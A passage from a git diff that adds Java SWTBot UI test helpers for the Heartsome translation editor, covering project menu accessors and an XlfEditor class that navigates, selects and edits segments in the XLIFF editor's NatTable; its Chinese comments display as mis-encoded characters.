SWTBotMenu menuProjectWordCount() { + return menuProject().menu( + TsUIConstants.getString("menuProjectFileAnalysis")).menu( + TsUIConstants.getString("menuProjectWordCount")); + } + + /** + * @return èœå•ï¼šé¡¹ç›® > æ–‡ä»¶åˆ†æž > 翻译进度分æž; + */ + public SWTBotMenu menuProjectTransProgress() { + return menuProject().menu( + TsUIConstants.getString("menuProjectFileAnalysis")).menu( + TsUIConstants.getString("menuProjectTransProgress")); + } + + /** + * @return èœå•ï¼šé¡¹ç›® > æ–‡ä»¶åˆ†æž > 编辑进度分æž; + */ + public SWTBotMenu menuProjectEditProgress() { + return menuProject().menu( + TsUIConstants.getString("menuProjectFileAnalysis")).menu( + TsUIConstants.getString("menuProjectEditProgress")); + } + + /** + * @return èœå•ï¼šé¡¹ç›® > 更新记忆库; + */ + public SWTBotMenu menuProjectUpdateTM() { + return menuProject().menu( + TsUIConstants.getString("menuProjectUpdateTM")); + } + + /** + * 帮助èœå• // TODO + */ + +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/editors/XlfEditor.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/editors/XlfEditor.java new file mode 100644 index 0000000..f01d9fe --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/editors/XlfEditor.java @@ -0,0 +1,929 @@ +package net.heartsome.cat.ts.test.ui.editors; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; +import net.heartsome.cat.ts.test.ui.waits.IsCellEditMode; +import net.heartsome.cat.ts.test.ui.waits.IsEditorLayoutHorizontal; +import net.heartsome.cat.ts.test.ui.waits.IsEditorLayoutVertical; +import net.heartsome.cat.ts.test.ui.waits.IsSegmentSelected; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.test.swtbot.finders.HsSWTWorkbenchBot; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsCellSelected; +import net.heartsome.test.swtbot.waits.IsComboEquals; +import net.heartsome.test.swtbot.widgets.HsSWTBotStyledText; +import net.heartsome.test.swtbot.widgets.SWTBotNatTable; +import net.heartsome.test.utilities.nattable.LayerUtil; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.swtbot.eclipse.finder.finders.WorkbenchContentsFinder; +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotEditor; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.SWTBotAssert; +import org.eclipse.swtbot.swt.finder.keyboard.Keystrokes; +import org.eclipse.swtbot.swt.finder.utils.Position; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCombo; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; +import org.eclipse.ui.IEditorPart; + +/** + * XLIFF 编辑器 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class XlfEditor extends SWTBotEditor { + + private static HsSWTWorkbenchBot bot = HSBot.bot(); + private SWTBot editorBot = this.bot(); + private TS ts = TS.getInstance(); + /** 记录最åŽè¾“入的跳转行数 */ + private String lineNumLastValue = TsUIConstants.getString("txtLineNumber"); + + + /** StyleText 中显示标记用的分隔符,ä¸å¯è§å­—符 */ + public static final char INVISIBLE_CHAR = InnerTagUtil.INVISIBLE_CHAR; + /** 编辑器的内容区 NatTable */ + public SWTBotNatTable nattable; + + /** + * 按指定的编辑器对象创建 + * @param editor + */ + public XlfEditor(SWTBotEditor editor) { + super(editor.getReference(), bot); + getNatTable(); + } + + /** + * ************ XLIFF 编辑器的一些基本æ“作 ************ 包括语言对过滤器ã€æ–‡æœ¬æ®µè¿‡æ»¤å™¨ + */ + + /** + * 得到指定文件å所在的编辑器 + * @param fileName + * 指定的文件å + * @return XlfEditor 得到的编辑器 + */ + // public static XlfEditor getInstance(String fileName) { + // return new XlfEditor(bot.editorByTitle(fileName)); + // } + + /** + * ä¸æŒ‡å®šæ–‡ä»¶å时,å–得当å‰æ¿€æ´»çš„编辑器 + * @return XlfEditor 当å‰æ¿€æ´»çš„编辑器 + */ + // public static XlfEditor getInstance() { + // return new XlfEditor(bot.activeEditor()); + // } + + /** + * @return SWTBotCombo 编辑器中的语言对下拉列表 + */ + public SWTBotCombo getLangCombo() { + Pattern langCode = Pattern.compile("[a-z]{2}(-[A-Z]{2})? -> [a-z]{2}(-[A-Z]{2})?"); + int index = 0; + while (true) { + Matcher m = langCode.matcher(editorBot.comboBox(index).getText()); + if (m.find()) { + return editorBot.comboBox(index); + } + index++; + } + } + + /** + * 选择指定的语言对 + * @param srcLang + * æºè¯­è¨€ä»£ç  + * @param tgtLang + * ç›®æ ‡è¯­è¨€ä»£ç  + */ + public void selectLangPair(String srcLang, String tgtLang) { + String langPair = srcLang + " -> " + tgtLang; + SWTBotCombo langCombo = getLangCombo(); + langCombo.setSelection(langPair); + bot.waitUntil(new IsComboEquals(langCombo, langPair)); + SWTBotAssert.assertText(langPair, langCombo); + } + + /** + * å–得当å‰æºè¯­è¨€ä»£ç  + * @return String 当å‰æºè¯­è¨€ä»£ç  + */ + public String getSourceLangCode() { + return getLangCombo().getText().split(" -> ")[0]; + } + + /** + * å–得当å‰ç›®æ ‡è¯­è¨€ä»£ç  + * @return String 当å‰ç›®æ ‡è¯­è¨€ä»£ç  + */ + public String getTargetLangCode() { + return getLangCombo().getText().split(" -> ")[1]; + } + + /** + * 得到文本段过滤器下拉列表 + * @return SWTBotCombo 文本段过滤器下拉列表 + */ + public SWTBotCombo getSegFilterCombo() { + String defaultFilter = TsUIConstants.getString("cmbSegFilterAllSegments"); + int index = 0; + while (true) { + SWTBotCombo segFilterCombo = editorBot.comboBox(index); + if (segFilterCombo.getText().equals(defaultFilter)) { + return segFilterCombo; + } + index++; + } + } + + /** + * 选择指定的文本段过滤器 + * @param filterName + * 过滤器å称 + */ + public void selectSegFilter(final String filterName) { + SWTBotCombo segFilterCombo = getSegFilterCombo(); + segFilterCombo.setSelection(filterName); + bot.waitUntil(new IsComboEquals(segFilterCombo, filterName)); + SWTBotAssert.assertText(filterName, segFilterCombo); + } + + /** + * 添加自定义过滤器按钮 + * @return SWTBotButton + */ + public SWTBotButton btnAddCustomFilter() { + return editorBot.button(TsUIConstants.getString("btnAddCustomFilter")); + } + + /************** + * XLIFF 编辑器中的 NatTable 相关æ“作 ************ 包括切æ¢å¸ƒå±€ã€æ–‡æœ¬æ®µè·³è½¬ã€æº/目标文本的选择等 + */ + + /** + * å–得编辑器中的 NatTable + * @return SWTBotNatTable 编辑器中的 NatTable + */ + public SWTBotNatTable getNatTable() { + nattable = bot.natTable(); + return nattable; + } + + /** + * 点击指定的å³é”®èœå• + * @param texts å³é”®èœå•æ–‡æœ¬ï¼Œæ¯ä¸€çº§èœå•ä¸ºä¸€ä¸ªå‚æ•°; + */ + public void clickContextMenu(String... texts) { + getNatTable().clickContextMenu(texts); + } + + /** + * @return List<String> 当å‰æ–‡ä»¶ä¸­æ‰€æœ‰æ–‡æœ¬æ®µçš„ RowID,åˆå¹¶ã€åˆ†å‰²æ–‡æœ¬æ®µåŽåº”é‡æ–°èŽ·å– (æ¯ä¸ª RowID ç”± XLIFF 文件路径ã€æºæ–‡ä»¶è·¯å¾„ã€trans-unit ID 组æˆï¼‰ + */ + public List getAllRowIds() { + WorkbenchContentsFinder finder = new WorkbenchContentsFinder(); + IEditorPart activateEditor = finder.activeWorkbenchWindow().getActivePage().getActiveEditor(); + IXliffEditor xliffEditor = (IXliffEditor) activateEditor; + XLFHandler handler = xliffEditor.getXLFHandler(); + return handler.getAllRowIds(); + } + + /** + * @return List<String> 当å‰æ‰€æœ‰å¯è§æ–‡æœ¬æ®µçš„ RowID,åˆå¹¶ã€åˆ†å‰²æ–‡æœ¬æ®µåŽåº”é‡æ–°èŽ·å– + */ + public ArrayList getRowIds() { + WorkbenchContentsFinder finder = new WorkbenchContentsFinder(); + IEditorPart activateEditor = finder.activeWorkbenchWindow().getActivePage().getActiveEditor(); + IXliffEditor xliffEditor = (IXliffEditor) activateEditor; + XLFHandler handler = xliffEditor.getXLFHandler(); + return handler.getRowIds(); + } + + /** + * @param segNum + * 文本段åºå·ï¼Œåˆå¹¶ã€åˆ†å‰²æ–‡æœ¬æ®µå’ŒæŽ’åºåŽåº”é‡æ–°èŽ·å– + * @return String 文本段 RowID + */ + public String rowIdOfSegNum(int segNum) { + Assert.isTrue(segNum > 0, "Invalid segment number: " + segNum); + return getRowIds().get(segNum - 1); + } + + /** + * @return String 当å‰é€‰ä¸­çš„文本段 RowID + */ + public String rowIdOfSelectedSeg() { + getNatTable(); + int colPosOfLineNumHeader = nattable.positionOfColumn(lblNatTableHeaderLineNum()); + int rowPosOfLineSelected = nattable.positionOfSelectedRow(colPosOfLineNumHeader); + String segNum = nattable.getTextByPosition(rowPosOfLineSelected, colPosOfLineNumHeader); + return rowIdOfSegNum(Integer.valueOf(segNum) - 1); + } + + /** + * @param segNum + * 文本段åºå·ï¼Œåˆå¹¶ã€åˆ†å‰²æ–‡æœ¬æ®µå’ŒæŽ’åºåŽåº”é‡æ–°èŽ·å– + * @return String 文本段的 trans-unit id + */ + public String tuidOfSegNum(int segNum) { + String rowID = rowIdOfSegNum(segNum); + XliffUtil xu = new XliffUtil(rowID); + return xu.getAttributeOfTU("id"); + } + + /** + * @return String 当å‰é€‰ä¸­çš„文本段的 trans-unit id + */ + public String tuidOfSelectedSeg() { + String rowID = rowIdOfSelectedSeg(); + XliffUtil xu = new XliffUtil(rowID); + return xu.getAttributeOfTU("id"); + } + + /** + * 判断指定文件的编辑器是å¦ä¸ºæ°´å¹³å¸ƒå±€ + * @return boolean true 表示水平布局ã€false 表示垂直布局 + */ + public boolean isHorizontalLayout() { + Pattern columnHeader = Pattern.compile("[a-z]{2}(-[A-Z]{2})? -> [a-z]{2}(-[A-Z]{2})?"); + int columnCount = getNatTable().columnCount(); + for (int i = 0; i < columnCount; i++) { + Matcher m = columnHeader.matcher(getNatTable().getTextByPosition(0, i)); + if (m.find()) { + return false; + } + } + return true; + } + + /** + * 修改编辑器布局 将编辑器布局由水平改为垂直,或å之 + */ + public void changeEditorLayout() { + XlfEditor xe = new XlfEditor(bot.activeEditor()); + SWTBotToolbarButton changeEditorLayout = TS.getInstance().tlbBtnWTltChangeEditorLayout(); + + if (xe.isHorizontalLayout()) { + changeEditorLayout.click(); + // 修改布局会导致 NatTable é‡ç»˜ï¼Œé‡æ–°èµ‹å€¼ä»¥æ›´æ–°å…¶ä»–地方的引用 + getNatTable(); + + bot.waitUntil(new IsEditorLayoutVertical(xe)); + } else { + changeEditorLayout.click(); + getNatTable(); + + bot.waitUntil(new IsEditorLayoutHorizontal(xe)); + } + } + + /** + * 跳到指定文本段 + * @param segNum + * æ–‡æœ¬æ®µè¡Œå· + */ + public void gotoSeg(int segNum) { + getNatTable(); + nattable.click(1, 1); + int targetRowIndex; + if (isHorizontalLayout()) { + targetRowIndex = segNum - 1; + } else { + targetRowIndex = (segNum - 1) * 2; + } + int selectedRowIndex = nattable.indexOfSelectedRow(positionOfTargetTextColumn()); + + // 先判断指定文本段是å¦å·²ç»è¢«é€‰ä¸­ï¼Œè‹¥æœªè¢«é€‰ä¸­æ‰ç»§ç»­ + if (segNum != 1 && targetRowIndex != selectedRowIndex) { + SWTBotText text = editorBot.text(lineNumLastValue); + text.setText(String.valueOf(segNum)); + text.pressShortcut(Keystrokes.LF); + lineNumLastValue = String.valueOf(segNum); + // 确认选中了指定文本段 + bot.waitUntil(new IsSegmentSelected(this, targetRowIndex)); + } + } + + /** + * @return int å½“å‰ NatTable ä¸­çš„æ€»æ–‡æœ¬æ®µæ•°é‡ + */ + public int segCount() { + getNatTable(); + LayerUtil.setBodyLayerPosition(0, 1); // 设置 NatTable çš„ Body ä½ç½® + // æ¯æ¬¡é‡ç»˜ NatTable åŽéœ€è¦é‡æ–°èŽ·å–该 DataLayer + int lineCount = nattable.rowCountData(); // 计算数æ®è¡Œæ•° + if (isHorizontalLayout()) { + return lineCount; + } else { + return lineCount / 2; + } + } + + /** + * @return int 当å‰ç¼–辑器中æºè¯­è¨€æ‰€åœ¨åˆ—çš„ Position + */ + public int positionOfSourceTextColumn() { + getNatTable(); + if (isHorizontalLayout()) { + return nattable.positionOfColumn(getSourceLangCode()); + } else { + return nattable.positionOfColumn(getLangCombo().getText()); + } + } + + /** + * @return int 当å‰ç¼–辑器中æºè¯­è¨€æ‰€åœ¨åˆ—çš„ Index + */ + public int indexOfSourceTextColumn() { + getNatTable(); + if (isHorizontalLayout()) { + return nattable.indexOfColumn(getSourceLangCode()); + } else { + return nattable.indexOfColumn(getLangCombo().getText()); + } + } + + /** + * @return int 当å‰ç¼–辑器中目标语言所在列的 Position + */ + public int positionOfTargetTextColumn() { + getNatTable(); + if (isHorizontalLayout()) { + return nattable.positionOfColumn(getTargetLangCode()); + } else { + return nattable.positionOfColumn(getLangCombo().getText()); + } + } + + /** + * @return int 当å‰ç¼–辑器中目标语言所在列的 Index + */ + public int indexOfTargetTextColumn() { + getNatTable(); + if (isHorizontalLayout()) { + return nattable.indexOfColumn(getTargetLangCode()); + } else { + return nattable.indexOfColumn(getLangCombo().getText()); + } + } + + /** + * @param text + * 文本内容,其中的内部标记为æºä»£ç å½¢å¼ï¼ˆå¿…须对其中的åŒå¼•å·è¿›è¡Œè½¬ä¹‰ï¼‰ + * @return int 从第一个文本段起,æºæ–‡æœ¬å†…容等于指定内容的文本段åºå·ï¼ˆç²¾ç¡®åŒ¹é…) + */ + public int segNumOfSource(String text) { + return segNumOfSource(text, 1); + } + + /** + * @param text + * 文本内容,其中的内部标记为æºä»£ç å½¢å¼ï¼ˆå¿…须对其中的åŒå¼•å·è¿›è¡Œè½¬ä¹‰ï¼‰ + * @param fromSegNum + * 查找的起始文本段åºå· + * @return int 从指定åºå·çš„文本段起,æºæ–‡æœ¬å†…容等于指定内容的文本段åºå·ï¼ˆç²¾ç¡®åŒ¹é…) + */ + public int segNumOfSource(String text, int fromSegNum) { + if (text == null) { + return -1; + } + getNatTable(); + nattable.click(1, 1); + int columnPosition = positionOfSourceTextColumn(); + int rowPosition; + String srcText; + selectSourceCell(fromSegNum); + for (int i = fromSegNum; i <= segCount(); i++) { + rowPosition = nattable.positionOfSelectedRow(); + srcText = nattable.getTextByPosition(rowPosition, columnPosition); + if (text.equals(srcText) || text.equals(XliffUtil.tagged(srcText))) { + // 考虑标记的两ç§æ˜¾ç¤ºçŠ¶æ€ + int columnHeaderPosition = nattable.positionOfColumn(TsUIConstants + .getString("lblNatTableHeaderLineNum")); + return Integer.valueOf(nattable.getTextByPosition(rowPosition, columnHeaderPosition)); + } + nattable.pressShortcut(Keystrokes.DOWN); // 输入å‘下方å‘é”® + } + return -1; + } + + /** + * @param text + * 文本内容,其中的内部标记为æºä»£ç å½¢å¼ï¼ˆå¿…须对其中的åŒå¼•å·è¿›è¡Œè½¬ä¹‰ï¼‰ + * @return int 从第一个文本段起,æºæ–‡æœ¬å†…容包å«æŒ‡å®šå†…容的文本段åºå·ï¼ˆæ¨¡ç³ŠåŒ¹é…) + */ + public int segNumContainsSource(String text) { + return segNumContainsSource(text, 1); + } + + /** + * @param text + * 文本内容,其中的内部标记为æºä»£ç å½¢å¼ï¼ˆå¿…须对其中的åŒå¼•å·è¿›è¡Œè½¬ä¹‰ï¼‰ + * @param fromSegNum + * 查找的起始文本段åºå· + * @return int 从指定åºå·çš„文本段起,æºæ–‡æœ¬å†…容包å«æŒ‡å®šå†…容的文本段åºå·ï¼ˆæ¨¡ç³ŠåŒ¹é…) + */ + public int segNumContainsSource(String text, int fromSegNum) { + if (text == null) { + return -1; + } + getNatTable(); + int columnPosition = positionOfSourceTextColumn(); + int rowPosition; + String srcText; + selectSourceCell(fromSegNum); + for (int i = fromSegNum; i <= segCount(); i++) { + rowPosition = nattable.positionOfSelectedRow(); + srcText = nattable.getTextByPosition(rowPosition, columnPosition); + if (srcText != null && (srcText.contains(text) || XliffUtil.tagged(srcText).contains(text))) { + // 考虑标记的两ç§æ˜¾ç¤ºçŠ¶æ€ + int columnHeaderPosition = nattable.positionOfColumn(TsUIConstants + .getString("lblNatTableHeaderLineNum")); + return Integer.valueOf(nattable.getTextByPosition(rowPosition, columnHeaderPosition)); + } + nattable.pressShortcut(Keystrokes.DOWN); // 输入å‘下方å‘é”® + } + return -1; + } + + /** + * 选择指定行的æºæ–‡æœ¬ + * @param segNum + * æ¬²é€‰æ‹©çš„æ–‡æœ¬æ®µè¡Œå· + */ + public void selectSourceCell(int segNum) { + getNatTable(); + gotoSeg(segNum); // 先跳转到该文本段,确ä¿å…¶è¢«æ˜¾ç¤º + + int sourceColumnPosition = positionOfSourceTextColumn(); + int selectedRowPosition = nattable.positionOfSelectedRow(sourceColumnPosition); + // 先点击一下行首,ä¿è¯ç›®æ ‡æ–‡æœ¬æ¡†å®Œå…¨æ˜¾ç¤ºåœ¨ç•Œé¢ä¸Š + nattable.click(selectedRowPosition, 0); + // é‡æ–°å–当å‰é€‰ä¸­è¡Œçš„ä½ç½®ï¼Œå› ä¸ºåˆšæ‰çš„点击å¯èƒ½å¼•èµ·äº†æ”¹å˜ + selectedRowPosition = nattable.positionOfSelectedRow(sourceColumnPosition); + + // 这两个 Index 用æ¥åˆ¤æ–­æŒ‡å®šçš„å•å…ƒæ ¼åœ¨æ“作完æˆåŽæ˜¯å¦ç¡®å®žè¢«é€‰ä¸­ + int targetRowIndex = nattable.getRowIndexByPosition(selectedRowPosition); + int targetColumnIndex = indexOfSourceTextColumn(); + // 点击之åŽï¼ŒPosition å¯èƒ½ä¼šå‘生改å˜ï¼Œæ‰€ä»¥å¿…须在点击之å‰èµ‹ä»¥ä¸Šä¸¤ä¸ªå€¼ + + nattable.click(selectedRowPosition, sourceColumnPosition); + + bot.waitUntil(new IsCellSelected(nattable, targetRowIndex, targetColumnIndex)); + } + + /** + * 选择指定行的目标文本 + * @param segNum + * æ¬²é€‰æ‹©çš„æ–‡æœ¬æ®µè¡Œå· + */ + public void selectTargetCell(int segNum) { + getNatTable(); + gotoSeg(segNum); + + int targetColumnPosition = positionOfTargetTextColumn(); + int targetRowPosition = nattable.positionOfSelectedRow(targetColumnPosition); + // 先点击一下行首,ä¿è¯ç›®æ ‡æ–‡æœ¬æ¡†å®Œå…¨æ˜¾ç¤ºåœ¨ç•Œé¢ä¸Š + nattable.click(targetRowPosition, 0); + // é‡æ–°å–当å‰é€‰ä¸­è¡Œçš„ä½ç½®ï¼Œå› ä¸ºåˆšæ‰çš„点击å¯èƒ½å¼•èµ·äº†æ”¹å˜ + targetRowPosition = nattable.positionOfSelectedRow(targetColumnPosition); + if (!isHorizontalLayout()) { + targetRowPosition += 1; + } + + // 这两个 Index 用æ¥åˆ¤æ–­æŒ‡å®šçš„å•å…ƒæ ¼åœ¨æ“作完æˆåŽæ˜¯å¦ç¡®å®žè¢«é€‰ä¸­ + int targetColumnIndex = indexOfTargetTextColumn(); + int targetRowIndex = nattable.getRowIndexByPosition(targetRowPosition); + // 点击之åŽï¼ŒPosition å¯èƒ½ä¼šå‘生改å˜ï¼Œæ‰€ä»¥å¿…须在点击之å‰èµ‹ä»¥ä¸Šä¸¤ä¸ªå€¼ + + nattable.click(targetRowPosition, targetColumnPosition); + + bot.waitUntil(new IsCellSelected(nattable, targetRowIndex, targetColumnIndex)); + } + + /** + * 进入编辑æºæ–‡æœ¬çŠ¶æ€ + * @param segNum + * æ¬²ç¼–è¾‘çš„æ–‡æœ¬æ®µè¡Œå· + */ + public void enterEditModeSource(int segNum) { + getNatTable(); + gotoSeg(segNum); // 先跳转到该文本段,确ä¿å…¶è¢«æ˜¾ç¤º + + int sourceColumnPosition = positionOfSourceTextColumn(); + int selectedRowPosition = nattable.positionOfSelectedRow(sourceColumnPosition); + + // 先点击一下行首,ä¿è¯ç›®æ ‡æ–‡æœ¬æ¡†å®Œå…¨æ˜¾ç¤ºåœ¨ç•Œé¢ä¸Š + nattable.click(selectedRowPosition, 0); + // é‡æ–°å–当å‰é€‰ä¸­è¡Œçš„ä½ç½®ï¼Œå› ä¸ºåˆšæ‰çš„点击å¯èƒ½å¼•èµ·äº†æ”¹å˜ + selectedRowPosition = nattable.positionOfSelectedRow(sourceColumnPosition); + + String textOfCell = nattable.getTextByPosition(selectedRowPosition, positionOfSourceTextColumn()); + // è¯¥èŠ‚ç‚¹æ²¡æœ‰å€¼æ—¶å½“ä½œç©ºå­—ç¬¦ä¸²å¤„ç† + String textOfCellNotNull = (textOfCell == null ? "" : textOfCell); + // 点击之åŽï¼ŒPosition å¯èƒ½ä¼šæ”¹å˜ï¼Œæ‰€ä»¥å¿…须在点击之å‰èµ‹å€¼ + + nattable.doubleClick(selectedRowPosition, sourceColumnPosition); + + bot.waitUntil(new IsCellEditMode(this, textOfCellNotNull)); + } + + /** + * è¿›å…¥ç¼–è¾‘ç›®æ ‡æ–‡æœ¬çŠ¶æ€ + * @param segNum + * æ¬²ç¼–è¾‘çš„æ–‡æœ¬æ®µè¡Œå· + */ + public void enterEditModeTarget(int segNum) { + getNatTable(); + gotoSeg(segNum); + + int targetColumnPosition = positionOfTargetTextColumn(); + int targetRowPosition = nattable.positionOfSelectedRow(targetColumnPosition); + + // 先点击一下行首,ä¿è¯ç›®æ ‡æ–‡æœ¬æ¡†å®Œå…¨æ˜¾ç¤ºåœ¨ç•Œé¢ä¸Š + nattable.click(targetRowPosition, 0); + // é‡æ–°å–当å‰é€‰ä¸­è¡Œçš„ä½ç½®ï¼Œå› ä¸ºåˆšæ‰çš„点击å¯èƒ½å¼•èµ·äº†æ”¹å˜ + targetRowPosition = nattable.positionOfSelectedRow(targetColumnPosition); + + if (!isHorizontalLayout()) { + targetRowPosition += 1; + } + + String textOfCell = nattable.getTextByPosition(targetRowPosition, positionOfTargetTextColumn()); + // è¯¥èŠ‚ç‚¹æ²¡æœ‰å€¼æ—¶å½“ä½œç©ºå­—ç¬¦ä¸²å¤„ç† + final String textOfCellNotNull = (textOfCell == null ? "" : textOfCell); + + // 点击之åŽï¼ŒPosition å¯èƒ½ä¼šæ”¹å˜ï¼Œæ‰€ä»¥å¿…须在点击之å‰èµ‹å€¼ + nattable.doubleClick(targetRowPosition, targetColumnPosition); + + bot.waitUntil(new IsCellEditMode(this, textOfCellNotNull)); + } + + /** + * @return boolean 判断 NatTable 是å¦æŒ‰æºæˆ–ç›®æ ‡åˆ—æŽ’åº + */ + public boolean isSorted() { + getNatTable(); + return nattable.sortStatus(positionOfSourceTextColumn()) != 0 + && nattable.sortStatus(positionOfTargetTextColumn()) != 0; + } + + /************** + * XLIFF 编辑器中的 StyledText 相关æ“作 ************ 包括将光标放置于æº/目标文本中的指定ä½ç½®ã€è¾“入或删除æº/目标文本 的指定字符/字符串等 + */ + + /** + * 返回 NatTable 中的 StyledText 以区分其他地方的相åŒæŽ§ä»¶ï¼ˆå¦‚记忆库翻译匹é…é¢æ¿ã€å¿«é€Ÿç¿»è¯‘é¢æ¿ä¸­ï¼‰ + * @return SWTBotStyledText 当å‰ç¼–辑器的 NatTable 中的 StyledText + */ + public HsSWTBotStyledText getStyledText() { + getNatTable(); + return bot.styledText(nattable); + } + + /** + * 将光标定ä½åˆ°æ–‡æœ¬æ¡†é¦– 在样å¼æ–‡æœ¬æ¡†ä¸­ç§»åŠ¨å…‰æ ‡åˆ°å¼€å§‹ä½ç½® + */ + public void navigateToBegining() { + HsSWTBotStyledText styledText = getStyledText(); + styledText.navigateTo(0, 0); + } + + /** + * 将光标定ä½åˆ°æ–‡æœ¬æ¡†æœ« 在样å¼æ–‡æœ¬æ¡†ä¸­ç§»åŠ¨å…‰æ ‡åˆ°ç»“æŸä½ç½® + */ + public void navigateToEnd() { + HsSWTBotStyledText styledText = getStyledText(); + int length = styledText.getText().length(); + styledText.navigateTo(styledText.getPositionByIndex(length)); + } + + /** + * 将光标定ä½åˆ°æŒ‡å®šç´¢å¼•ä½ç½® + * @param index + * 目标ä½ç½®çš„索引 + */ + public void navigateToIndex(int index) { + HsSWTBotStyledText styledText = getStyledText(); + styledText.navigateTo(styledText.getPositionByIndex(index)); + } + + /** + * 将光标定ä½åˆ°æŒ‡å®šå­—ç¬¦ä¸²ä¹‹å‰ + * @param beforeText + * æŒ‡å®šçš„å­—ç¬¦ä¸²ï¼Œå…‰æ ‡å°†ç½®äºŽå…¶ç¬¬ä¸€ä¸ªå­—ç¬¦ä¹‹å‰ + */ + public void navigateBefore(String beforeText) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPos = styledText.positionOf(beforeText); + Assert.isTrue(!targetPos.equals(new Position(-1, -1)), "Text \"" + beforeText + "\" not found."); + styledText.navigateTo(targetPos); + } + + /** + * 将光标定ä½åˆ°æŒ‡å®šå­—ç¬¦ä¸²ä¹‹åŽ + * @param afterText + * 指定的字符串,光标将置于其最åŽä¸€ä¸ªå­—ç¬¦ä¹‹åŽ + */ + public void navigateAfter(String afterText) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPos = styledText.positionOfFollowing(afterText); + Assert.isTrue(!targetPos.equals(new Position(-1, -1)), "Text \"" + afterText + "\" not found."); + styledText.navigateTo(targetPos); + } + + /** + * 将光标定ä½åˆ°æŒ‡å®šçš„两个字符串之间 指定的两个字符串必须相邻 + * @param afterText + * 指定的字符串,光标将置于其最åŽä¸€ä¸ªå­—ç¬¦ä¹‹åŽ + * @param beforeText + * æŒ‡å®šçš„å­—ç¬¦ä¸²ï¼Œå…‰æ ‡å°†ç½®äºŽå…¶ç¬¬ä¸€ä¸ªå­—ç¬¦ä¹‹å‰ + */ + public void navigateBetween(String afterText, String beforeText) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPosA = styledText.positionOfFollowing(afterText); + Assert.isTrue(!targetPosA.equals(new Position(-1, -1)), "Text \"" + afterText + "\" not found."); + Position targetPosB = styledText.positionOf(beforeText); + Assert.isTrue(!targetPosB.equals(new Position(-1, -1)), "Text \"" + beforeText + "\" not found."); + Assert.isTrue(targetPosB.equals(targetPosA), "Text \"" + afterText + beforeText + "\" not found."); + styledText.navigateTo(targetPosA); + } + + /** + * 在文本框开始ä½ç½®è¾“入内容 + * @param text + * è¦è¾“入的内容 + */ + public void typeTextBegining(String text) { + navigateToBegining(); + HsSWTBotStyledText styledText = getStyledText(); + styledText.typeText(text); + } + + /** + * 在文本框结æŸä½ç½®è¾“入内容 + * @param text + * è¦è¾“入的内容 + */ + public void typeTextEnd(String text) { + navigateToEnd(); + HsSWTBotStyledText styledText = getStyledText(); + styledText.typeText(text); + } + + /** + * 在指定字符串之å‰è¾“入内容 + * @param beforeText + * æŒ‡å®šçš„å­—ç¬¦ä¸²ï¼Œè¾“å…¥çš„å†…å®¹å°†åœ¨å…¶ç¬¬ä¸€ä¸ªå­—ç¬¦ä¹‹å‰ + * @param text + * è¦è¾“入的内容 + */ + public void typeTextBefore(String beforeText, String text) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPos = styledText.positionOf(beforeText); + Assert.isTrue(!targetPos.equals(new Position(-1, -1)), "Text \"" + beforeText + "\" not found."); + styledText.typeText(targetPos.line, targetPos.column, text); + } + + /** + * 在指定字符串之åŽè¾“入内容 + * @param afterText + * 指定的字符串,输入的内容将在其最åŽä¸€ä¸ªå­—ç¬¦ä¹‹åŽ + * @param text + * è¦è¾“入的内容 + */ + public void typeTextAfter(String afterText, String text) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPos = styledText.positionOfFollowing(afterText); + Assert.isTrue(!targetPos.equals(new Position(-1, -1)), "Text \"" + afterText + "\" not found."); + styledText.typeText(targetPos.line, targetPos.column, text); + } + + /** + * 在指定的两个字符串之间输入内容 + * @param afterText + * 指定的字符串,输入的内容将在其最åŽä¸€ä¸ªå­—ç¬¦ä¹‹åŽ + * @param beforeText + * æŒ‡å®šçš„å­—ç¬¦ä¸²ï¼Œè¾“å…¥çš„å†…å®¹å°†åœ¨å…¶ç¬¬ä¸€ä¸ªå­—ç¬¦ä¹‹å‰ + * @param text + * è¦è¾“入的内容 + */ + public void typeTextBetween(String afterText, String beforeText, String text) { + HsSWTBotStyledText styledText = getStyledText(); + Position targetPosA = styledText.positionOfFollowing(afterText); + Assert.isTrue(!targetPosA.equals(new Position(-1, -1)), "Text \"" + afterText + "\" not found."); + Position targetPosB = styledText.positionOf(beforeText); + Assert.isTrue(!targetPosB.equals(new Position(-1, -1)), "Text \"" + beforeText + "\" not found."); + Assert.isTrue(targetPosB.equals(targetPosA), "Text \"" + afterText + beforeText + "\" not found."); + styledText.typeText(targetPosA.line, targetPosA.column, text); + } + + /** + * 删除第一个匹é…的内容 + * @param text + * è¦åˆ é™¤çš„内容 + */ + public void deleteFirstText(String text) { + HsSWTBotStyledText styledText = getStyledText(); + styledText.setText(styledText.getText().replaceFirst(text, "")); + } + + /** + * 删除所有匹é…的内容 + * @param text + * è¦åˆ é™¤çš„内容 + */ + public void deleteAllText(String text) { + HsSWTBotStyledText styledText = getStyledText(); + styledText.setText(styledText.getText().replaceAll(text, "")); + } + + /************** 编辑器相关的状æ€æ ä¿¡æ¯è¯»å– ************ */ + + /** + * @return String 状æ€æ ä¸­çš„当å‰ç¼–辑器所打开的文件路径 + */ + public String stbCurrentFile() { + return 